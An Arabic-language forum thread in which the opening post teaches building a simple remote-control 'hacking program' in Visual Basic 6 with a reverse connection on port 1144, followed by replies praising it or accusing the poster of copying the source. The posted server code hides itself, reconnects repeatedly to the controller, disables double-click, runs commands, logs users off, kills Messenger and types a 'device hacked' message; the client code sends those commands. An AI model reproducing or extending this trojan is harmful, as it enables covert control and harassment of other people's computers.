[ Visual Basic 6 ] شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

الموضوع في 'قسم فيجوال بيسك 6 و لغة Delphi' بواسطة love powermove, بتاريخ ‏7 ابريل 2011.

تم تحميل الصفحة في 0,3651835 ثانية
  1. love powermove

    love powermove Beginner Developer

    إنضم إلينا في:
    ‏25 أكتوبر 2009
    المشاركات:
    2,287
    الإعجابات المتلقاة:
    241
    نقاط الجائزة:
    0
    Credits:
    0
    السلام عليكم



    شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق
    و البورت هو 1144
    نبدا بالسرفر

    نضيف 2 تايمر + اداة الونسوك مهمة جدا في برنامج الاختراق

    [​IMG]


    في الفورم :
    كود:
    Private Sub Form_Load()
    Hide 'اخفاء الفورم
    End Sub

    كود:
    Private Sub Timer1_Timer()
    If w.State <> 7 Then
    w.Close ' 
    w.Connect "127.0.0.1", 1144 
    End If '
    End Sub

    Private Sub Timer2_Timer()
    SetDoubleClickTime 1 ' اغلاق الدبل كليك
    End Sub

    كود:
    Private Sub w_DataArrival(ByVal bytesTotal As Long)
    Dim cmd As String '
    w.GetData cmd 'جلب البيانات
    Select Case cmd 'ترجمة المتغير
    
    الكود تابع :

    كود:
    Case "bbb"
    Beep 'اصدار صوت
    
    Case "unlock" 'فتح الدبل كليك
    SetDoubleClickTime 0 ' 
    Timer2 = False
    Case "lock" 'اغلاق الدبل كليك
    Timer2 = True 'تفعيل التايمر لغلق الدبل كليك
    
    Case "not"
    ****************l "notepad.exe", vbMaximizedFocus 'لتشغيل المكرة عن طريق الدوس
    
    Case "logo"
    ****************l "logoff"
    'تسجيل الخروج
    Case "endd"
    End 'اغلاق السرفر
    
    Case "ssd"
    SendKeys "Êã ÇÎÊÑÇÞ ÇáÌåÇÒ" & Chr(13)
    'ارسال جملة ][ تم اختراق الجهاز هه ][ للنافدة المفتوحة
    
    
    Case "msn"
    On Error Resume Next
    ****************l "taskkill /f /im msnmsgr.exe", vbHide
    
    Case Else
    MsgBox cmd, vbInformation, "note"
    ' عرض النص بمربع رساله
    End Select
    اغلاق الجملة
    
    End Sub
    
    
    نعمل الان العميل :

    [​IMG]


    نضيف في الجنرال :
    كود:
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
    
    Public Sub OpenCDDriveDoor(ByVal State As Boolean)
    If State = True Then
    Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)
    Else
    Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)
    End If
    End Sub
    
    
    في امر فتح المفكرة :

    كود:
    Private Sub Command1_Click()
    On Error Resume Next
    w.SendData "not"
    End Sub
    كود:
    كود اغلاق الميسنجر :
    كود:
    On Error Resume Next
    w.SendData "msn"
    
    في زر اخفاء سطح المكتب :

    كود:
    Dim hWnd As Long
        hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
        ShowWindow hWnd, 0
    
    كود اضهار سطح المكتب :

    كود:
    Dim hWnd As Long
        hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
        ShowWindow hWnd, 5
    في زر ارسال صوت

    كود:
    On Error Resume Next
    w.SendData "bbb"
    يا جماعة هاذا الامر مهم w.SendData "bbb" وهو يعني ارسال امر

    في زر فتح الدبل كلك :

    كود:
    On Error Resume Next
    w.SendData "unlock"
    
    في زر الخروج :

    كود:
    On Error Resume Next
    w.SendData "logo"
    
    في زر اغلاق السرفر :

    كود:
    On Error Resume Next
    w.SendData "endd"
    في زر تجربة رسالة :

    كود:
    MsgBox Text1, vbInformation, "note"
    في زر ارسال رسالة :

    كود:
    On Error Resume Next
    w.SendData "" & Text1
    
    
    في زر افراغ الرسالة :

    كود:
    Dim i As Integer
    For i = 0 To Me.Controls.Count - 1
    If TypeOf Me.Controls(i) Is TextBox Then
    Me.Controls(i).Text = ""
    End If
    Next
    
    2 - نعمل فورم للتبليغ :

    نضيف لابل + تيمر

    نضيف في الابل :

    كود:
    Form1.Show
    Unload Me
    
    وفي التيمر :

    كود:
    Form1.Show: Unload Me
    لتحميل السورس : http://www.seed-share.com/c5dflj2ck93n

    عندما اري انفعالاتكم مع الموضوع ساضع انشاء الله الدرس الثاني

    تحياتي
     
  2. Ďŕ.ŤřőЈàή

    Ďŕ.ŤřőЈàή VIP DeveloPer

    إنضم إلينا في:
    ‏28 أكتوبر 2009
    المشاركات:
    2,924
    الإعجابات المتلقاة:
    1,126
    نقاط الجائزة:
    113
    Credits:
    11
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    سورس مسروق مني وكاتب من برمجتك :2:
     
  3. Ďŕ.ŤřőЈàή

    Ďŕ.ŤřőЈàή VIP DeveloPer

    إنضم إلينا في:
    ‏28 أكتوبر 2009
    المشاركات:
    2,924
    الإعجابات المتلقاة:
    1,126
    نقاط الجائزة:
    113
    Credits:
    11
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    الموضوع
    http://www.dev-point.com/vb/t68669.html
    هوا موضوع قديم شوي 2008 :15:
    بس مشكور لشرحك

    وجاري تقييمك :6:
     
  4. zFahad

    zFahad DeveloPer Plus

    إنضم إلينا في:
    ‏9 مارس 2011
    المشاركات:
    1,337
    الإعجابات المتلقاة:
    229
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    :2::2::2:

    اذآ الكلام صحيح
    ياصاحب الموضوع :|
    حرآم وربي ، ع الآقل اذكر الحقوق } ..

    :28:
     
  5. love powermove

    love powermove Beginner Developer

    إنضم إلينا في:
    ‏25 أكتوبر 2009
    المشاركات:
    2,287
    الإعجابات المتلقاة:
    241
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    لا ليس هو تاكد حبيبي
     
  6. love powermove

    love powermove Beginner Developer

    إنضم إلينا في:
    ‏25 أكتوبر 2009
    المشاركات:
    2,287
    الإعجابات المتلقاة:
    241
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    قلت من برمجتي :13::13::13:
     
  7. bboy mitche

    bboy mitche Beginner Developer

    إنضم إلينا في:
    ‏10 مارس 2011
    المشاركات:
    13
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    يعجبني ابداعك
    :29::29:
    بانتضار الدرس الثاني
    :15::15::15:
     
  8. love powermove

    love powermove Beginner Developer

    إنضم إلينا في:
    ‏25 أكتوبر 2009
    المشاركات:
    2,287
    الإعجابات المتلقاة:
    241
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    انشاء الله :32::32:
     
  9. hanixpo

    hanixpo Developer

    إنضم إلينا في:
    ‏2 سبتمبر 2010
    المشاركات:
    201
    الإعجابات المتلقاة:
    58
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    مشكووووور اخي جاري تجريبه
     
  10. love powermove

    love powermove Beginner Developer

    إنضم إلينا في:
    ‏25 أكتوبر 2009
    المشاركات:
    2,287
    الإعجابات المتلقاة:
    241
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    pas de koi frére
    :6::6::6:
     
  11. دمار - السلمي

    دمار - السلمي DeveloPer Plus

    إنضم إلينا في:
    ‏10 مارس 2011
    المشاركات:
    1,409
    الإعجابات المتلقاة:
    282
    نقاط الجائزة:
    83
    الإقامة:
    أںأ”أ”أ£أ­أ‘ ..!
    Credits:
    1
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    ماقصرت اخوي ،،

    تحياتي لك :)

     
  12. love powermove

    love powermove Beginner Developer

    إنضم إلينا في:
    ‏25 أكتوبر 2009
    المشاركات:
    2,287
    الإعجابات المتلقاة:
    241
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    :32::32::32:
     
  13. Ďŕ.ŤřőЈàή

    Ďŕ.ŤřőЈàή VIP DeveloPer

    إنضم إلينا في:
    ‏28 أكتوبر 2009
    المشاركات:
    2,924
    الإعجابات المتلقاة:
    1,126
    نقاط الجائزة:
    113
    Credits:
    11
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    فين البرمجة!!

    ما غيرت شيئ بالسورس :26:

    بتوهم نفسك:10:
     
  14. drdeath

    drdeath Beginner Developer

    إنضم إلينا في:
    ‏9 مارس 2011
    المشاركات:
    522
    الإعجابات المتلقاة:
    128
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    :2::2::2::2::2::2::2::2::2::2::2::2:​
     
  15. love powermove

    love powermove Beginner Developer

    إنضم إلينا في:
    ‏25 أكتوبر 2009
    المشاركات:
    2,287
    الإعجابات المتلقاة:
    241
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    oki bro thanxxxxxx
     
  16. مهند الانباري

    مهند الانباري Beginner Developer

    إنضم إلينا في:
    ‏17 مارس 2011
    المشاركات:
    138
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    0
    Credits:
    0
    رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

    مشكور اخي سلمت يداك نتظر المزيد منك مشكور :32:مره اخرى:32:
     

مشاركة هذه الصفحة

جاري تحميل الصفحة...